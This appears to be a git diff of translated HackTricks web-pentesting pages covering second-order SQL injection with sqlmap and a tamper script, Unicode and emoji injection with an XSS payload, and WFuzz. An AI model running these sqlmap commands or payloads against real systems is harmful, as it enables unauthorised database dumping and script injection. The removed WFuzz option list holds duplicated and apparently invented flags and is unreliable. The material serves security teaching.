| versionedmorekeywords.py | Omhels elke sleutelwoord met geversioneerde MySQL kommentaar |
| xforwardedfor.py | Voeg 'n valse HTTP koptekst 'X-Forwarded-For' by |
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,27 +1,28 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**SQLMap kan tweede-orde SQL-injecties uitbuit.**\
Jy moet voorsien:
**SQLMap kan Tweede Orde SQLis benut.**\
Jy moet verskaf:
* Die **versoek** waar die **sqlinjection payload** gestoor gaan word
* Die **versoek** waar die **payload** uitgevoer gaan word
* Die **versoek** waar die **payload** sal wees **uitgevoer**
Die versoek waar die SQL-injectie payload gestoor word, word **aangedui soos enige ander injectie in sqlmap**. Die versoek **waar sqlmap die uitset/uitvoering** van die injectie kan lees, kan aangedui word met `--second-url` of met `--second-req` as jy 'n volledige versoek vanuit 'n lêer moet aandui.
Die versoek waar die SQL-inspuiting payload gestoor word, is **aangedui soos in enige ander inspuiting in sqlmap**. Die versoek **waar sqlmap die uitvoer/uitvoering** van die inspuiting kan lees, kan aangedui word met `--second-url` of met `--second-req` as jy 'n volledige versoek uit 'n lêer moet aandui.
**Eenvoudige tweede-orde voorbeeld:**
**Eenvoudige tweede orde voorbeeld:**
```bash
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
@ -29,9 +30,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
```
In verskeie gevalle sal dit nie genoeg wees nie omdat jy ander aksies moet uitvoer as om net die payload te stuur en 'n ander bladsy te besoek.
In verskeie gevalle **sal dit nie genoeg wees** omdat jy **ander aksies** moet uitvoer behalwe om die payload te stuur en toegang tot 'n ander bladsy te verkry.
Wanneer dit nodig is, kan jy 'n sqlmap tamper gebruik. Byvoorbeeld, die volgende skripsie sal 'n nuwe gebruiker registreer deur die sqlmap payload as 'n e-pos te gebruik en uit te teken.
Wanneer dit nodig is, kan jy 'n **sqlmap tamper** gebruik. Byvoorbeeld, die volgende skrip sal 'n nuwe gebruiker registreer **met sqlmap payload as e-pos** en afmeld.
```python
#!/usr/bin/env python
@ -59,16 +60,16 @@ headers = kwargs.get("headers", {})
login_account(payload)
return payload
```
'n SQLMap-verander word altyd uitgevoer voordat 'n inspuitingspoging met 'n lading begin word **en dit moet 'n lading terugstuur**. In hierdie geval gee ons nie om oor die lading nie, maar ons gee om oor die stuur van 'n paar versoeke, sodat die lading nie verander word nie.
A **SQLMap tamper word altyd uitgevoer voordat 'n inspuitingspoging met 'n payload begin** **en dit moet 'n payload teruggee**. In hierdie geval is ons nie bekommerd oor die payload nie, maar ons is bekommerd oor die stuur van 'n paar versoeke, so die payload word nie verander nie.
Dus, as ons om een of ander rede 'n meer komplekse vloei benodig om die tweede orde SQL-injectie te benut, soos:
So, as ons om een of ander rede 'n meer komplekse vloei nodig het om die tweede orde SQL-inspuiting te benut soos:
* Skep 'n rekening met die SQLi-lading binne die "e-pos" veld
* Skep 'n rekening met die SQLi payload binne die "email" veld
* Teken uit
* Teken in met daardie rekening (login.txt)
* Stuur 'n versoek om die SQL-injectie uit te voer (second.txt)
* Stuur 'n versoek om die SQL-inspuiting uit te voer (second.txt)
**Hierdie sqlmap-lyn sal help:**
**Hierdie sqlmap lyn sal help:**
```bash
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
@ -83,16 +84,17 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# SSRF Kwesbare Platforms
# SSRF Kwetsbare Platforms
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Kyk na **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
Kyk **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,49 +1,50 @@
# Unicode-injectie
# Unicode Injection
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere manieren om HackTricks te ondersteunen:
* Als je je **bedrijf geadverteerd wilt zien in HackTricks** of **HackTricks in PDF wilt downloaden**, bekijk dan de [**ABONNEMENTSPAKKETTEN**](https://github.com/sponsors/carlospolop)!
* Koop de [**officiële PEASS & HackTricks-merchandise**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), onze collectie exclusieve [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Doe mee aan de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel je hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Inleiding
## Introduction
Afhankelijk van hoe de back-end/front-end zich gedraagt wanneer het **vreemde unicode-karakters ontvangt**, kan een aanvaller mogelijk **beveiligingsmaatregelen omzeilen en willekeurige karakters injecteren** die kunnen worden gebruikt om **injectiekwetsbaarheden** zoals XSS of SQLi te misbruiken.
Afhangende van hoe die back-end/front-end optree wanneer dit **weird unicode karakters ontvang**, mag 'n aanvaller in staat wees om **beskermings te omseil en arbitrêre karakters in te spuit** wat gebruik kan word om **inspuitingskwesbaarhede te misbruik** soos XSS of SQLi.
## Unicode-normalisatie
## Unicode Normalization
Unicode-normalisatie treedt op wanneer **unicode-karakters worden genormaliseerd naar ASCII-karakters**.
Unicode normalisering vind plaas wanneer **unicode karakters genormaliseer word na ascii karakters**.
Een veelvoorkomend scenario van dit type kwetsbaarheid doet zich voor wanneer het systeem de **invoer** van de gebruiker **aanpast nadat deze is gecontroleerd**. Bijvoorbeeld, in sommige talen kan een eenvoudige oproep om de **invoer in hoofdletters of kleine letters te zetten** de gegeven invoer normaliseren en de **unicode zal worden omgezet in ASCII**, waardoor nieuwe karakters worden gegenereerd.\
Voor meer informatie, zie:
Een algemene scenario van hierdie tipe kwesbaarheid gebeur wanneer die stelsel **die invoer** van die gebruiker **op 'n of ander manier aanpas** **nadat dit nagegaan is**. Byvoorbeeld, in sommige tale kan 'n eenvoudige oproep om die **invoer hoofletters of kleinletters te maak** die gegewe invoer normaliseer en die **unicode sal in ASCII omgeskakel word**, wat nuwe karakters genereer.\
Vir meer inligting, kyk:
{% content-ref url="unicode-normalization.md" %}
[unicode-normalization.md](unicode-normalization.md)
{% endcontent-ref %}
## `\u` naar `%`
## `\u` na `%`
Unicode-karakters worden meestal weergegeven met het **voorvoegsel `\u`**. Bijvoorbeeld het karakter `㱋` is `\u3c4b`([controleer het hier](https://unicode-explorer.com/c/3c4B)). Als een back-end de prefix **`\u` transformeert in `%`**, zal de resulterende string `%3c4b` zijn, wat URL-gecodeerd is als: **`<4b`**. En, zoals je kunt zien, wordt er een **`<`-teken geïnjecteerd**.\
Je kunt deze techniek gebruiken om **elk soort teken** in te voegen als de back-end kwetsbaar is.\
Bekijk [https://unicode-explorer.com/](https://unicode-explorer.com/) om de karakters te vinden die je nodig hebt.
Unicode karakters word gewoonlik verteenwoordig met die **`\u` voorvoegsel**. Byvoorbeeld, die karakter `㱋` is `\u3c4b`([kyk dit hier](https://unicode-explorer.com/c/3c4B)). As 'n backend **die voorvoegsel** **`\u` in `%` omskakel**, sal die resulterende string `%3c4b` wees, wat URL gedekodeer is: **`<4b`**. En, soos jy kan sien, is 'n **`<` karakter ingespuit**.\
Jy kan hierdie tegniek gebruik om **enige soort karakter in te spuit** as die backend kwesbaar is.\
Kyk [https://unicode-explorer.com/](https://unicode-explorer.com/) om die karakters te vind wat jy nodig het.
Deze kwetsbaarheid komt eigenlijk voort uit een kwetsbaarheid die een onderzoeker heeft gevonden, voor een meer gedetailleerde uitleg zie [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
Hierdie kwesbaarheid kom eintlik van 'n kwesbaarheid wat 'n navorser gevind het, vir 'n meer diepgaande verduideliking, kyk [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
## Emoji-injectie
## Emoji Injection
Back-ends gedragen zich soms vreemd wanneer ze **emoji's ontvangen**. Dat is wat er gebeurde in [**deze write-up**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) waar de onderzoeker erin slaagde om een XSS te bereiken met een payload zoals: `💋img src=x onerror=alert(document.domain)//💛`
Back-ends gedra iets vreemd wanneer hulle **emojis ontvang**. Dit is wat gebeur het in [**hierdie skrywe**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) waar die navorser daarin geslaag het om 'n XSS te bereik met 'n payload soos: `💋img src=x onerror=alert(document.domain)//💛`
In dit geval was de fout dat de server na het verwijderen van de schadelijke karakters de UTF-8-string **van Windows-1252 naar UTF-8 converteerde** (in feite kwam de invoerencodering niet overeen met de conversie-encodering). Hierdoor wordt er geen juist <-teken gegeven, maar een vreemd unicode-teken: ``\
``Dus ze namen deze uitvoer en **converteerden deze opnieuw van UTF-8 naar ASCII**. Dit **normaliseerde** de `` naar `<`, zo kon de exploit werken op dat systeem.\
Dit is wat er gebeurde:
In hierdie geval was die fout dat die bediener, nadat dit die kwaadwillige karakters verwyder het, **die UTF-8 string van Windows-1252 na UTF-8 omgeskakel het** (basies het die invoer kodering en die omskakeling van kodering nie ooreengestem nie). Dan gee dit nie 'n behoorlike < nie, net 'n vreemde unicode een: ``\
``So het hulle hierdie uitvoer geneem en **weer omgeskakel van UTF-8 na ASCII**. Dit het die `` genormaliseer na `<` en dit is hoe die eksploit op daardie stelsel kon werk.\
Dit is wat gebeur het:
```php
<?php
@ -54,21 +55,22 @@ $str = iconv("UTF-8", "ASCII//TRANSLIT", $str);
echo "String: " . $str;
```
Emoji-lys:
Emoji lys:
* [https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv)
* [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,182 +1,33 @@
# Webwerf - WFuzz
# Web Tool - WFuzz
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
'n Gereedskap om webtoepassings enige plek te FUZZ.
'n Tool om webtoepassings enige plek te FUZZ.
> [Wfuzz](https://github.com/xmendez/wfuzz) is geskep om die taak in webtoepassingsassesserings te vergemaklik en dit is gebaseer op 'n eenvoudige konsep: dit vervang enige verwysing na die FUZZ-sleutelwoord met die waarde van 'n gegewe lading.
> [Wfuzz](https://github.com/xmendez/wfuzz) is geskep om die taak in webtoepassings assesserings te vergemaklik en dit is gebaseer op 'n eenvoudige konsep: dit vervang enige verwysing na die FUZZ sleutelwoord met die waarde van 'n gegewe payload.
## Installasie
Geïnstalleer in Kali
Gemonteer in Kali
Github: [https://github.com/xmendez/wfuzz](https://github.com/xmendez/wfuzz)
```
pip install wfuzz
```
## Filtrering opsies
### -c, --code
Filter op HTTP status kode
### -w, --wordlist
Filter op basis van 'n woordelys
### -r, --regex
Filter op basis van 'n regulêre uitdrukking
### -s, --size
Filter op basis van grootte van die inhoud
### -e, --exclude
Sluit sekere patrone uit
### -z, --zero
Sluit nulinhoud uit
### -x, --hex
Filter op basis van heksadesimale waarde
### -b, --byte
Filter op basis van byte-waarde
### -d, --dict
Filter op basis van 'n woordelys
### -t, --time
Filter op basis van responstyd
### -l, --length
Filter op basis van lengte van die inhoud
### -m, --mime
Filter op basis van MIME-tipe
### -h, --header
Filter op basis van 'n spesifieke HTTP-kop
### -f, --follow
Volg omleidings
### -i, --ignore
Ignoreer sekere HTTP-foute
### -n, --null
Filter op nulwaarde
### -g, --grep
Filter op basis van 'n spesifieke teks
### -u, --url
Filter op basis van URL
### -p, --proxy
Deurloop 'n HTTP-proxy
### -a, --auth
Voeg outentiseringsinligting by
### -k, --cookie
Voeg koekie-inligting by
### -y, --proxy-auth
Voeg outentiseringsinligting vir die HTTP-proxy by
### -v, --verbose
Gedetailleerde uitvoer weergee
### -q, --quiet
Stilmodus, toon slegs resultate
### -o, --output
Stoor resultate in 'n lêer
### -A, --agent
Stel 'n spesifieke gebruikersagent in
### -H, --host
Stel 'n spesifieke gasheer in
### -P, --port
Stel 'n spesifieke poort in
### -T, --timeout
Stel 'n spesifieke tydlimiet in
### -U, --user-agent
Stel 'n spesifieke gebruikersagent in
### -X, --method
Stel 'n spesifieke HTTP-metode in
### -C, --cookie-jar
Stoor koekies in 'n lêer
### -D, --data
Stuur data in 'n POST-aanvraag
### -E, --referer
Stel 'n spesifieke verwysings-URL in
### -F, --follow-redirects
Volg omleidings
### -G, --get
Stuur 'n GET-aanvraag
### -I, --head
Stuur 'n HEAD-aanvraag
### -J, --json
Stuur 'n JSON-aanvraag
### -K, --insecure
Ignoreer SSL-sertifikaatfoute
### -L, --location
Volg omleidings
### -M, --multipart
Stuur 'n multipart/form-data-aanvraag
### -N, --no-follow
Moenie omleidings volg nie
### -O, --output-format
Stel die uitvoerformaat in
### -Q, --query
Stuur 'n aanvraag met 'n vraagteken
### -R, --referer
Stel 'n spesifieke verwysings-URL in
### -S, --silent
Stilmodus, toon geen resultate nie
### -V, --version
Toon die weergawe-inligting
### -W, --write
Stoor resultate in 'n lêer
### -Y, --proxy-auth
Voeg outentiseringsinligting vir die HTTP-proxy by
### -Z, --null
Filter op nulwaarde
```bash
--hs/ss "regex" #Hide/Show
